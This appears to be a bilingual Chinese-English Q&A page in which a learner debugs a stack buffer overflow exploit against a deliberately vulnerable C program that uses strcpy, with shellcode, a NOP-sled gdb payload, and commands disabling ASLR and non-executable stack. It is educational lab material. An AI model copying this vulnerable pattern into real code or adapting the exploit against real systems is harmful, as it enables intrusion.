问题描述
我正在尝试学习在Backtrack Linux上利用简单的bufferover流技术。
I am trying to learn to exploit simple bufferover flow technique on Backtrack Linux.
这是我的C程序
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[500];
if(argc==2)
{
strcpy(buffer, argv[1]); //vulnerable function
}
return 0;
}
这是我正在使用的shellcode,对应于简单的 / bin / ls
\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f \x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\ x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80
This is the shellcode I am using, which corresponds to simple /bin/ls
\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80
我使用以下命令将此Shellcode注入gdb
I inject this shellcode in gdb using following command
run $(python -c 'print "\x90" * 331 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x0c\xd3\xff\xff"*35')
应用程序,它将在最后的 ret
指令上生成 SIG FAULT
。此时, EIP
正确设置为 0xffffd30c
。此地址是可寻址的,包含一系列 NOP
,后跟我的shell代码,如有效负载中所示。
As I step through the application, it generates SIG FAULT
on final ret
instruction. At that point EIP
is correctly set to 0xffffd30c
. This address is addressable and contains series of NOP
, followed by my shell code as shown in the payload.
I已禁用ASLR
sudo echo 0> / proc / sys / kernel / randomize_va_space
I have disabled the ASLRsudo echo 0 > /proc/sys/kernel/randomize_va_space
并使用 fno-stack-protector $编译我的二进制文件
选项。
任何人都知道SIGSEGV的原因是什么?
Any idea what's the cause of SIGSEGV ?
推荐答案
我已经回答了自己的问题,问题是可执行堆栈保护,其中的堆栈内存无法执行。可以在gcc中将其禁用,如下所示:
I have answered my own question, the problem was "Executable Stack Protection", where in stack memory cannot be executed. This can be disabled in gcc as follows
gcc -z execstack
这篇关于作业-无法利用缓冲区溢出的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持!